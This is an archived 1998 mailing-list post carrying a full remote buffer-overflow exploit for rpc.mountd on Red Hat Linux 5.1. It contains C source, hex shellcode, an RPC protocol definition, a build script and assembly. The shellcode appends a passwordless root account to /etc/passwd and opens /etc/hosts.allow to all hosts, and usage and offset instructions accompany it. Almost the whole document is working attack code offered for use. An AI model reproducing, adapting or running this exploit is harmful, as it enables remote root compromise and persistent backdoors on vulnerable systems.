rpc.mountd exploit

From: Hudin Lucian (luciat_private)
Date: Tue Sep 29 1998 - 14:07:59 PDT

  • Next message: morex .-: "Re: rpc.mountd vulnerabilities"

    /*
        rpc.mountd [remote] exploit by LucySoft [ luciat_private ]
    
        [September 20, 1998]
        [version 0.4]
    
        tested on Red Hat Linux 5.1 (Manhattan)
        running nfs-server-2.2beta29
    
        I guess patches are available at ftp://ftp.redhat.com
    
        NOTE: if the remote host has /etc/exporfs non-empty,
        [shwomount -e remote_host]
        you must define __EXPORTS 2 and recompile
    
        I've tested on only two RH 5.1 systems, the offset was about 1000.
    
    */
    
    #define __EXPORTFS      1
    
    
    #include <unistd.h>
    #include <stdio.h>
    #include <string.h>
    #include <errno.h>
    #include <netdb.h>
    #include <rpc/rpc.h>
    #include <rpc/pmap_prot.h>
    #include <rpc/pmap_clnt.h>
    #include <sys/socket.h>
    #include <sys/time.h>
    #include <sys/utsname.h>
    #include <sys/stat.h>
    #include <arpa/inet.h>
    #include <linux/nfs.h>
    
    #include "nfsmount.h"
    
    
    
    static unsigned long            __offset = 1160;
    
    /*
       check out code.c if you want to know what this means
    */
    
    static char code[] =
    {
        0xeb, 0x56, 0x5e, 0x56,
        0x56, 0x56, 0x31, 0xd2,
        0x88, 0x56, 0x0b, 0x88,
        0x56, 0x1e, 0x88, 0x56,
    
        0x27, 0x88, 0x56, 0x38,
        0xb2, 0x0a, 0x88, 0x56,
        0x1d, 0x88, 0x56, 0x26,
        0x5b, 0x31, 0xc9, 0x41,
    
        0x41, 0x31, 0xc0, 0xb0,
        0x05, 0xcd, 0x80, 0x50,
        0x89, 0xc3, 0x31, 0xc9,
        0x31, 0xd2, 0xb2, 0x02,
    
        0x31, 0xc0, 0xb0, 0x13,
        0xcd, 0x80, 0x58, 0x89,
        0xc2, 0x89, 0xc3, 0x59,
        0x52, 0x31, 0xd2, 0xb2,
    
        0x0c, 0x01, 0xd1, 0xb2,
        0x13, 0x31, 0xc0, 0xb0,
        0x04, 0x31, 0xd2, 0xb2,
        0x12, 0xcd, 0x80, 0x5b,
    
        0x31, 0xc0, 0xb0, 0x06,
        0xcd, 0x80, 0xeb, 0x3f,
        0xe8, 0xa5, 0xff, 0xff,
        0xff, 0x2f, 0x65, 0x74,
    
        0x63, 0x2f, 0x70, 0x61,
        0x73, 0x73, 0x77, 0x64,
        0x78, 0x7a, 0x3a, 0x3a,
        0x30, 0x3a, 0x30, 0x3a,
    
        0x3a, 0x2f, 0x3a, 0x2f,
        0x62, 0x69, 0x6e, 0x2f,
        0x73, 0x68, 0x78, 0x78,
        0x41, 0x4c, 0x4c, 0x3a,
    
        0x41, 0x4c, 0x4c, 0x78,
        0x78, 0x2f, 0x65, 0x74,
        0x63, 0x2f, 0x68, 0x6f,
        0x73, 0x74, 0x73, 0x2e,
    
        0x61, 0x6c, 0x6c, 0x6f,
        0x77, 0x78, 0xff, 0x5b,
        0x53, 0x31, 0xc9, 0xb1,
        0x28, 0x01, 0xcb, 0xb1,
    
        0x02, 0x31, 0xc0, 0xb0,
        0x05, 0xcd, 0x80, 0x50,
        0x89, 0xc3, 0x31, 0xc9,
        0x31, 0xd2, 0xb2, 0x02,
    
        0x31, 0xc0, 0xb0, 0x13,
        0xcd, 0x80, 0x5b, 0x59,
        0x53, 0x31, 0xd2, 0xb2,
        0x1f, 0x01, 0xd1, 0xb2,
    
        0x08, 0x31, 0xc0, 0xb0,
        0x04, 0xcd, 0x80, 0x5b,
        0x31, 0xc0, 0xb0, 0x06,
        0xcd, 0x80, 0x31, 0xc0,
        0x40, 0xcd, 0x80
    };
    
    
    
    unsigned long get_esp()
    {
       __asm__("movl %esp,%eax");
    }
    
    
    void _fill_hostile_buffer(char *ptr)
    {
        char        *buff;
        unsigned    retaddr = get_esp() + __offset;
        int         length;
    
        memset(ptr, 0x90, 1024);
    
        length = strlen(code);
    
        memcpy(ptr + 1024 - length - 40 - __EXPORTFS, code, length);
        buff = ptr + 1024 - 40 - __EXPORTFS;
    
        while (buff < (ptr + 1024))
        {
            *(unsigned*)buff = (unsigned)retaddr;
            buff += sizeof(unsigned);
        }
        ptr[1023] = '\0';
    
        fprintf(stderr, "code length = %d, used retaddr is %x\n", length, retaddr);
    
    }
    
    /*
        ripped off from nfsmount.c [ mount-2.7l.rpm - RH 5.1 ]
    */
    
    
    int _nfsmount(char* hostname, char *dirname)
    {
            CLIENT  *mclient;
            int     mountprog, mountvers;
            int     nfsprog, nfsvers;
            int     mountport = 0;
            int     clnt_stat;
            int     msock, fsock;
    
            struct  hostent *hp;
            struct  sockaddr_in server_addr;
            struct  fhstatus status;
            struct  timeval total_timeout, retry_timeout;
    
    
    
            if (!(hp = gethostbyname(hostname)))
            {
                fprintf(stderr, "mx: can't get address for %s\n", hostname);
                return(-1);
            }
    
    
            server_addr.sin_family = AF_INET;
            memcpy(&server_addr.sin_addr, hp->h_addr, hp->h_length);
    
            mountprog = MOUNTPROG;
            mountvers = MOUNTVERS;
    
            nfsprog = NFS_PROGRAM;
            nfsvers = NFS_VERSION;
    
            total_timeout.tv_usec = 0;
            total_timeout.tv_sec = 20;
    
            retry_timeout.tv_usec = 0;
            retry_timeout.tv_sec = 3;
    
            server_addr.sin_port = htons(mountport);
            msock = RPC_ANYSOCK;
    
            fprintf(stderr, "ok, attacking target %s\n", hp->h_name);
    
            mclient = clntudp_create(&server_addr,
                mountprog, mountvers,
                retry_timeout, &msock);
    
            if (mclient)
            {
                mclient->cl_auth = authunix_create_default();
                clnt_stat = clnt_call(mclient, MOUNTPROC_MNT,
                    (xdrproc_t) xdr_dirpath, (caddr_t) &dirname,
                    (xdrproc_t) xdr_fhstatus, (caddr_t) &status,
                    total_timeout);
    
                if (clnt_stat != RPC_SUCCESS)
                {
                    /*
    
                    auth_destroy(mclient->cl_auth);
                    clnt_destroy(mclient);
                    close(msock);
    
                    clnt_perror(mclient, "mx clnt_call");
                    */
                    return(msock);
                }
                fprintf(stderr, "successful clnt_call\n");
                return(msock);
            }
            else
            {
                clnt_pcreateerror("mx clntudp_create");
                return(-1);
            }
    
    
            auth_destroy(mclient->cl_auth);
            clnt_destroy(mclient);
            close(msock);
            return (-1);
    }
    
    
    int main(int argc, char *argv[])
    {
        int         k, sock;
        char        hostilebuffer[4096];
    
    
        if (argc < 2)
        {
            fprintf(stderr, "usage : %s target_host [offset]\n", argv[0]);
            return(-1);
        }
    
        if (argc == 3)
        {
            __offset = strtol(argv[2], (char**)NULL, 10);
            fprintf(stderr, "using offset %d\n", __offset);
        }
    
        _fill_hostile_buffer(hostilebuffer);
        if (_nfsmount(argv[1], hostilebuffer) > 0)
        {
            fprintf(stderr, "seems that security on host %s was defeated\n",
                argv[1]);
        }
    
        return(0);
    }
    
    
    -------------------------------------------------------------------------
    CUT_HERE next file is nfsmount.x
    -------------------------------------------------------------------------
    
    %/*
    % * Sun RPC is a product of Sun Microsystems, Inc. and is provided for
    % * unrestricted use provided that this legend is included on all tape
    % * media and as a part of the software program in whole or part.  Users
    % * may copy or modify Sun RPC without charge, but are not authorized
    % * to license or distribute it to anyone else except as part of a product or
    % * program developed by the user or with the express written consent of
    % * Sun Microsystems, Inc.
    % *
    % * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE
    % * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
    % * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
    % *
    % * Sun RPC is provided with no support and without any obligation on the
    % * part of Sun Microsystems, Inc. to assist in its use, correction,
    % * modification or enhancement.
    % *
    % * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
    % * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
    % * OR ANY PART THEREOF.
    % *
    % * In no event will Sun Microsystems, Inc. be liable for any lost revenue
    % * or profits or other special, indirect and consequential damages, even if
    % * Sun has been advised of the possibility of such damages.
    % *
    % * Sun Microsystems, Inc.
    % * 2550 Garcia Avenue
    % * Mountain View, California  94043
    % */
    
    %/*
    % * Copyright (c) 1985, 1990 by Sun Microsystems, Inc.
    % */
    %
    %/* from @(#)mount.x    1.3 91/03/11 TIRPC 1.0 */
    
    /*
     * Protocol description for the mount program
     */
    
    #ifdef RPC_HDR
    %#ifndef _rpcsvc_mount_h
    %#define _rpcsvc_mount_h
    #endif
    
    #ifdef RPC_CLNT
    %#include <string.h>            /* for memset() */
    #endif
    
    const MNTPATHLEN = 1024;        /* maximum bytes in a pathname argument */
    const MNTNAMLEN = 255;          /* maximum bytes in a name argument */
    const FHSIZE = 32;              /* size in bytes of a file handle */
    
    /*
     * The fhandle is the file handle that the server passes to the client.
     * All file operations are done using the file handles to refer to a file
     * or a directory. The file handle can contain whatever information the
     * server needs to distinguish an individual file.
     */
    typedef opaque fhandle[FHSIZE];
    
    /*
     * If a status of zero is returned, the call completed successfully, and
     * a file handle for the directory follows. A non-zero status indicates
     * some sort of error. The status corresponds with UNIX error numbers.
     */
    union fhstatus switch (unsigned fhs_status) {
    case 0:
            fhandle fhs_fhandle;
    default:
            void;
    };
    
    /*
     * The type dirpath is the pathname of a directory
     */
    typedef string dirpath<MNTPATHLEN>;
    
    /*
     * The type name is used for arbitrary names (hostnames, groupnames)
     */
    typedef string name<MNTNAMLEN>;
    
    /*
     * A list of who has what mounted
     */
    typedef struct mountbody *mountlist;
    struct mountbody {
            name ml_hostname;
            dirpath ml_directory;
            mountlist ml_next;
    };
    
    /*
     * A list of netgroups
     */
    typedef struct groupnode *groups;
    struct groupnode {
            name gr_name;
            groups gr_next;
    };
    
    /*
     * A list of what is exported and to whom
     */
    typedef struct exportnode *exports;
    struct exportnode {
            dirpath ex_dir;
            groups ex_groups;
            exports ex_next;
    };
    
    /*
     * POSIX pathconf information
     */
    struct ppathcnf {
            int     pc_link_max;    /* max links allowed */
            short   pc_max_canon;   /* max line len for a tty */
            short   pc_max_input;   /* input a tty can eat all at once */
            short   pc_name_max;    /* max file name length (dir entry) */
            short   pc_path_max;    /* max path name length (/x/y/x/.. ) */
            short   pc_pipe_buf;    /* size of a pipe (bytes) */
            u_char  pc_vdisable;    /* safe char to turn off c_cc[i] */
            char    pc_xxx;         /* alignment padding; cc_t == char */
            short   pc_mask[2];     /* validity and boolean bits */
    };
    
    program MOUNTPROG {
            /*
             * Version one of the mount protocol communicates with version two
             * of the NFS protocol. The only connecting point is the fhandle
             * structure, which is the same for both protocols.
             */
            version MOUNTVERS {
                    /*
                     * Does no work. It is made available in all RPC services
                     * to allow server reponse testing and timing
                     */
                    void
                    MOUNTPROC_NULL(void) = 0;
    
                    /*
                     * If fhs_status is 0, then fhs_fhandle contains the
                     * file handle for the directory. This file handle may
                     * be used in the NFS protocol. This procedure also adds
                     * a new entry to the mount list for this client mounting
                     * the directory.
                     * Unix authentication required.
                     */
                    fhstatus
                    MOUNTPROC_MNT(dirpath) = 1;
    
                    /*
                     * Returns the list of remotely mounted filesystems. The
                     * mountlist contains one entry for each hostname and
                     * directory pair.
                     */
                    mountlist
                    MOUNTPROC_DUMP(void) = 2;
    
                    /*
                     * Removes the mount list entry for the directory
                     * Unix authentication required.
                     */
                    void
                    MOUNTPROC_UMNT(dirpath) = 3;
    
                    /*
                     * Removes all of the mount list entries for this client
                     * Unix authentication required.
                     */
                    void
                    MOUNTPROC_UMNTALL(void) = 4;
    
                    /*
                     * Returns a list of all the exported filesystems, and which
                     * machines are allowed to import it.
                     */
                    exports
                    MOUNTPROC_EXPORT(void)  = 5;
    
                    /*
                     * Identical to MOUNTPROC_EXPORT above
                     */
                    exports
                    MOUNTPROC_EXPORTALL(void) = 6;
            } = 1;
    
            /*
             * Version two of the mount protocol communicates with version two
             * of the NFS protocol.
             * The only difference from version one is the addition of a POSIX
             * pathconf call.
             */
            version MOUNTVERS_POSIX {
                    /*
                     * Does no work. It is made available in all RPC services
                     * to allow server reponse testing and timing
                     */
                    void
                    MOUNTPROC_NULL(void) = 0;
    
                    /*
                     * If fhs_status is 0, then fhs_fhandle contains the
                     * file handle for the directory. This file handle may
                     * be used in the NFS protocol. This procedure also adds
                     * a new entry to the mount list for this client mounting
                     * the directory.
                     * Unix authentication required.
                     */
                    fhstatus
                    MOUNTPROC_MNT(dirpath) = 1;
    
                    /*
                     * Returns the list of remotely mounted filesystems. The
                     * mountlist contains one entry for each hostname and
                     * directory pair.
                     */
                    mountlist
                    MOUNTPROC_DUMP(void) = 2;
    
                    /*
                     * Removes the mount list entry for the directory
                     * Unix authentication required.
                     */
                    void
                    MOUNTPROC_UMNT(dirpath) = 3;
    
                    /*
                     * Removes all of the mount list entries for this client
                     * Unix authentication required.
                     */
                    void
                    MOUNTPROC_UMNTALL(void) = 4;
    
                    /*
                     * Returns a list of all the exported filesystems, and which
                     * machines are allowed to import it.
                     */
                    exports
                    MOUNTPROC_EXPORT(void)  = 5;
    
                    /*
                     * Identical to MOUNTPROC_EXPORT above
                     */
                    exports
                    MOUNTPROC_EXPORTALL(void) = 6;
    
                    /*
                     * POSIX pathconf info (Sun hack)
                     */
                    ppathcnf
                    MOUNTPROC_PATHCONF(dirpath) = 7;
            } = 2;
    } = 100005;
    
    #ifdef RPC_HDR
    %#endif /*!_rpcsvc_mount_h*/
    #endif
    
    
    ------------------------------------------------------------------------
    CUT_HERE : next file is makeit [ script for building the stuff ]
    ------------------------------------------------------------------------
    
    #!/bin/bash
    
    rpcgen -C nfsmount.x
    gcc -c -g nfsmount.c
    gcc -o mx nfsmount.o nfsmount_xdr.c
    
    ---------------------------------------------------------------------------
    CUT_HERE : next file is the asm code... just to have the entire source code
    ---------------------------------------------------------------------------
    
    /*
    
      really ugly code. It does :
    
      int fd = open("/etc/passwd", O_RDWR);
      lseek(fd, 0, SEEK_END);
      write(fd, "z::0:0::/:/bin/sh\n", 18);
      close(fd);
    
      int fd = open("/etc/hosts.allow", O_RDWR);
      lseek(fd, 0, SEEK_END);
      write(fd, "ALL:ALL\n", 8);
      close(fd);
    
      exit(?);
    
    */
    
    #include <stdio.h>
    
    main()
    {
        __asm__("jmp eofcode
                here:
                popl %esi
                pushl %esi
                pushl %esi
                pushl %esi
    
                xorl %edx, %edx
                movb %dl, 11(%esi)
                movb %dl, 30(%esi)
                movb %dl, 39(%esi)
                movb %dl, 56(%esi)
                movb $0x0a, %dl
                movb %dl, 29(%esi)
                movb %dl, 38(%esi)
                popl %ebx
                xorl %ecx, %ecx
                incl %ecx
                incl %ecx
                xor %eax, %eax
                movb $0x05, %al
                int  $0x80
    
                pushl %eax
    
                movl %eax, %ebx
                xorl %ecx, %ecx
                xorl %edx, %edx
                movb $0x02, %dl
                xorl %eax, %eax
                movb $0x13, %al
                int  $0x80
    
                popl %eax
    
                movl %eax, %edx
                movl %eax, %ebx
                popl %ecx
                pushl %edx
                xorl %edx, %edx
                movb $0x0c, %dl
                addl %edx, %ecx
                movb $0x13, %dl
                xorl %eax, %eax
                movb $0x04, %al
                xorl %edx, %edx
                movb $0x12, %dl
                int  $0x80
    
                popl %ebx
                xorl %eax, %eax
                movb $0x06, %al
                int  $0x80
    
                jmp  cont1
    
    
                eofcode:
                call here
                .string \"/etc/passwdxz::0:0::/:/bin/shxxALL:ALLxx/etc/hosts.allowx\"
    
                cont1:
    
                popl %ebx
                pushl %ebx
                xorl %ecx, %ecx
                movb $40, %cl
                addl %ecx, %ebx
                movb $02, %cl
                xor  %eax, %eax
                movb $05, %al
                int  $0x80
    
    
                pushl %eax
    
                movl %eax, %ebx
                xorl %ecx, %ecx
                xorl %edx, %edx
                movb $0x02, %dl
                xorl %eax, %eax
                movb $0x13, %al
                int  $0x80
    
                popl %ebx
    
                popl %ecx
    
                pushl %ebx
    
                xorl %edx, %edx
                movb $31, %dl
                addl %edx, %ecx
                movb $8, %dl
                xorl %eax, %eax
                movb $4, %al
                int  $0x80
    
    
                popl %ebx
                xorl %eax, %eax
                movb $0x06, %al
                int  $0x80
    
                xor  %eax, %eax
                incl %eax
                int  $0x80
    
                .string \"theeeeeeeeeeend\"
                ");
    
    }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:18:12 PDT